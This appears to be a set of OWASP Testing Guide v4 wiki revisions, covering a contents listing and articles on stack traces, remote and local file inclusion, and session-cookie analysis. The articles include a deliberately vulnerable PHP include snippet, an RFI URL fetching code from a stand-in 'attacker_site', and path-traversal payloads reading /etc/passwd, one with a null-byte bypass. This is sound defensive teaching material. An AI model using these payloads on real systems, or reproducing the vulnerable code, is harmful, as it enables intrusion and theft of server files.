[[Testing for XPath Injection (OWASP-DV-010)|4.8.10 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.11 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"

[[Testing for Code Injection (OWASP-DV-012)|4.8.12 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"

[[Testing for Local File Inclusion|4.8.12.1 Testing for Local File Inclusion]]

[[Testing for Remote File Inclusion|4.8.12.2 Testing for Remote File Inclusion]]

[[Testing for Command Injection (OWASP-DV-013)|4.8.13 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.14 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"

[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.14.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.15 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.16 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)" [Juan Galiana]

[[Error Handling|'''4.9 Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"

[[Cryptography|'''4.10 Cryptography''']]

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.1 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)" [Simone Onofri]

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]] [Simone Onofri]

[[Testing for business logic (OWASP-BL-001)|'''4.11 Business Logic Testing (OWASP-BL-001)''']]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.11.1 Test Business Logic Data Validation (OTG-BUSLOGIC-001)]]

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.11.2 Test Ability to Forge Requests (OTG-BUSLOGIC-002)]]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.11.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]

[[Test for Process Timing (OTG-BUSLOGIC-007)|4.11.4 Test for Process Timing (OTG-BUSLOGIC-004)]]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.11.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]]

[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-009)|4.11.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.11.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]]

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-015)|4.11.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

[[Test Upload of Malicious Files (OTG-BUSLOGIC-016)|4.11.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]]

[[Client Side Testing|'''4.12 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.12.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]

[[Testing for JavaScript Execution|4.12.2 Testing for JavaScript Execution (OWASP-CS-002)]] (Stefano Di Paola, Matteo Meucci)

[[Testing for HTML Injection|4.12.3 Testing for HTML Injection (OWASP-CS-003)]] (Stefano Di Paola, Matteo Meucci)

[[Testing for Client Side URL Redirect|4.12.4 Testing for Client Side URL Redirect (OWASP-CS-004)]] (Mauro Gentile, Davide Danelon)

[[Testing_for_CSS_Injection|4.12.5 Testing for CSS Injection (OWASP-CS-005)]] (Mauro Gentile, Davide Danelon)

[[Testing_for_Client_Side_Resource_Manipulation|4.12.6 Testing for Client Side Resource Manipulation (OWASP-CS-006)]] (Mauro Gentile, Davide Danelon)

[[Test Cross Origin Resource Sharing (OTG-CLIENT-002)|4.12.7 Test Cross Origin Resource Sharing (OTG-CLIENT-007)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]

[[Testing for Cross site flashing (OWASP-DV-004)|4.12.8 Testing for Cross Site Flashing (OTG-CLIENT-008)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"

[[Testing for Clickjacking (OWASP-CS-004)|4.12.9 Testing for Clickjacking (OTG-CLIENT-009)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]

[[Testing WebSockets (OTG-CLIENT-005)|4.12.10 Testing WebSockets (OTG-CLIENT-010)]] [Ryan Dewhurst]

[[Test Web Messaging (OTG-CLIENT-006)|4.12.11 Test Web Messaging (OTG-CLIENT-011)]] [Juan Galiana]

[[Test Local Storage (OTG-CLIENT-007)|4.12.12 Test Local Storage (OTG-CLIENT-012)]] [Juan Galiana]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]'''Ready to be reviewed'''
* Books [To review--> David Fern]'''Ready to be reviewed'''
* Useful Websites [To review--> David Fern]'''Ready to be reviewed'''

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> Amro AlOlaqi] '''Ready to be reviewed'''

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==
[To review--> Amro AlOlaqi] '''Ready to be reviewed'''

----

ARTICLES DELETED:

INFO GATHERING:

CONFIGURATION AND DEPLOY MANAGEMENT TESTING:

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

IDENTITY MANAGEMENT TESTING:

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

AUTHORIZATION TESTING:

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

SESSION MANAGEMENT TESTING:

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

DATA VALIDATION TESTING:

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

CRYPTOGRAPHY:

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

BUSINESS LOGIC:

XXXX[[Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)|4.12.3 Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)]] [New!]- [Combine with Test Ability to forge requests as an example]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates)

DENIAL OF SERVICE

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)]] [New!]- [Moved from Business Logic, formerly OTG-BUSLOGIC-006]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.13.5 Test size of request limits (OTG-DOS-005)]] [New!] - [Moved from Business Logic, formerly OTG-BUSLOGIC-008]

WEB SERVICES TESTING

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Category:OWASP Testing Project]]

Testing for Stack Traces (OTG-ERR-002)

2014-03-06T16:51:53Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. Attackers attempt to generate these stack traces by tampering with the input to the web application with malformed HTTP requests and other input data.

== Description of the Issue ==

If the application responds with stack traces that are not managed it could reveals potentially useful information for an attacker. This information could then be used, by the attacker, to bring successive attacks.
Provide debugging information as a result of operations that generate errors is considered a bad practice due to the fact that relative paths to the point where the application is installed or how objects are referenced internally are shown to the user which can draw benefit for a successive attack.

== Black Box testing and example ==

There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases this will be an HTML page, but exceptions can be sent as part of SOAP or REST responses too.

Some tools, such as [[OWASP_Zed_Attack_Proxy_Project|OWASP ZAP]] and Burp proxy will automatically detect these exceptions in the response stream as you are doing other penetration and testing work.

== Gray Box testing and example ==

Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this might be code in a JSP that looks like:

<pre><% e.printStackTrace( new PrintWriter( out ) ) %></pre>

In some cases, the stack trace will be specifically formatted into HTML, so be careful of accesses to stack trace elements.

Search the configuration to verify error handling configuration and the use of default error pages. For example, in Java this configuration can be found in web.xml.

== References ==

* [1] [[http://www.ietf.org/rfc/rfc2616.txt?number=2616 RFC2616]] Hypertext Transfer Protocol -- HTTP/1.1

Testing for Remote File Inclusion

2014-03-06T16:48:41Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

*Code execution on the web server
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
*Denial of Service (DoS)
*Sensitive Information Disclosure

The File inclusion vulnerability could be of two types:
* Local
* Remote

== Description of the Issue ==

Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

== Black Box testing and example ==

Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:
<pre>
$incfile = $_REQUEST["file"];
include($incfile.".php");
</pre>

In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:

<pre>
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
</pre>

In this case the remote file is going to be included and any code contained in it is going to be run by the server.

== Mitigation ==

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API.
If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

== References ==

'''Whitepapers'''
* “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
* Wikipedia: "Remote File Inclusion" - http://en.wikipedia.org/wiki/Remote_File_Inclusion

Testing for Remote File Inclusion

2014-03-06T16:47:54Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

*Code execution on the web server
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
*Denial of Service (DoS)
*Sensitive Information Disclosure

The File inclusion vulnerability could be of two types:
* Local
* Remote

== Description of the Issue ==

Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

== Black Box testing and example ==

Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:
<pre>
$incfile = $_REQUEST["file"];
include($incfile.".php");
</pre>

In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:

<pre>
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
</pre>

In this case the remote file is going to be included and any code contained in it is going to be run by the server.

<pre>
http://vulnerable_host/preview.php?file=example.html
</pre>

== Mitigation ==

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API.
If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

== References ==

'''Whitepapers'''
* “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
* Wikipedia: "Remote File Inclusion" - http://en.wikipedia.org/wiki/Remote_File_Inclusion

Testing for Local File Inclusion

2014-03-06T16:45:19Z

Davide Danelon: Mitigation added and minor updates

{{Template:OWASP Testing Guide v4}}
== Brief Summary ==

File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

*Code execution on the web server
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
*Denial of Service (DoS)
*Sensitive Information Disclosure

The File inclusion vulnerability could be of two types:
* Local
* Remote

== Description of the Issue ==

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

== Black Box testing and example ==

Since LFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following example:
<pre>
http://vulnerable_host/preview.php?file=example.html
</pre>

This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.
Typical proof-of-concept would be to load passwd file:
<pre>
http://vulnerable_host/preview.php?file=../../../../etc/passwd
</pre>

If the above mentioned conditions are met, an attacker would see something like the following:
<pre>
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...
</pre>

Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code:
<pre>
<?php “include/”.include($_GET['filename'].“.php”); ?>
</pre>

In the case, simple substitution with arbitrary filename would not work as the postfix 'php' is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes:
<pre>
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
</pre>

== Mitigation ==

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API.
If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

== References ==

* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion

 
--[[User:Alexander Antukh|Alexander Antukh]] ([[User talk:Alexander Antukh|talk]]) 07:17, 28 September 2013 (CDT)

Testing for Session Management Schema (OTG-SESS-001)

2014-03-06T16:37:43Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. 
These mechanisms are known as Session Management and, while they're most important in order to increase the ease of use and user-friendliness of the application, they can be exploited by a penetration tester to gain access to a user account, without the need to provide correct credentials. In this test, we want to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.

==Related Security Activities==

===Description of Session Management Vulnerabilities===

See the OWASP articles on [[:Category:Session Management Vulnerability|Session Management Vulnerabilities]].

===Description of Session Management Countermeasures===

See the OWASP articles on [[:Category:Session Management|Session Management Countermeasures]].

===How to Avoid Session Management Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Session Management|Avoid Session Management]] Vulnerabilities.

===How to Review Code for Session Management| Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Codereview-Session-Management|Review Code for Session Management]] Vulnerabilities.

==Description of the Issue==

Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or more than one) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.

A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).

Due to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way. In this test we have to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...). Usually the main steps of the attack pattern are the following:
* '''cookie collection''': collection of a sufficient number of cookie samples;
* '''cookie reverse engineering''': analysis of the cookie generation algorithm;
* '''cookie manipulation''': forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).

Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here we are not trying to recreate a perfectly valid cookie. Instead, our goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.

==Black Box Testing and Examples==

All interaction between the client and application should be tested at least against the following criteria:
* Are all Set-Cookie directives tagged as Secure?
* Do any Cookie operations take place over unencrypted transport?
* Can the Cookie be forced over unencrypted transport?
* If so, how does the application maintain security?
* Are any Cookies persistent?
* What Expires= times are used on persistent cookies, and are they reasonable?
* Are cookies that are expected to be transient configured as such?
* What HTTP/1.1 Cache-Control settings are used to protect Cookies?
* What HTTP/1.0 Cache-Control settings are used to protect Cookies?

===Cookie collection===

The first step required in order to manipulate the cookie is obviously to understand how the application creates and manages cookies. For this task, we have to try to answer the following questions:

* How many cookies are used by the application?
Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.
* Which parts of the the application generate and/or modify the cookie?
Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?
* Which parts of the application require this cookie in order to be accessed and utilized?
Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.

A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.

===Session Analysis===

The session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage. 
* Token Structure & Information Leakage
The first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.
If the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:
<pre>
192.168.100.1:owaspuser:password:15:58
</pre>

If part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation.
For example the string “192.168.100.1:owaspuser:password:15:58” is represented in Hex, Base64 and as an MD5 hash:
<pre>
Hex 3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538
Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=
MD5 01c2fc4f0a817afd8366689bd29dd40a
</pre>

Having identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.
Hybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:
<pre>
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412
</pre>

Having analyzed a single session token, the representative sample should be examined.
A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address.
If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.
If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, login attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.
The following areas should be addressed during the single and multiple Session ID structure testing:
* What parts of the Session ID are static?
* What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses
* What easily decoded confidential information is stored?
* What information can be deduced from the structure of the Session ID?
* What portions of the Session ID are static for the same login conditions?
* What obvious patterns are present in the Session ID as a whole, or individual portions?

===Session ID Predictability and Randomness===

Analysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns.
These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools in order to deduce any patterns in the Session ID content.
Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address. Time is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.
Variable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements.
Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.
In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.
* Are the Session IDs provably random in nature? I.e., can the resulting values be reproduced?
* Do the same input conditions produce the same ID on a subsequent run?
* Are the Session IDs provably resistant to statistical or cryptanalysis?
* What elements of the Session IDs are time-linked?
* What portions of the Session IDs are predictable?
* Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?

===Cookie reverse engineering===

Now that we have enumerated the cookies and have a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies are we interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks. These characteristics are summarized below:
#Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, he/she will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.
#Tamper resistance: a cookie must resist malicious attempts of modification. If we receive a cookie like IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)
#Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from disk/memory afterwards, in order to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel)
#“Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.

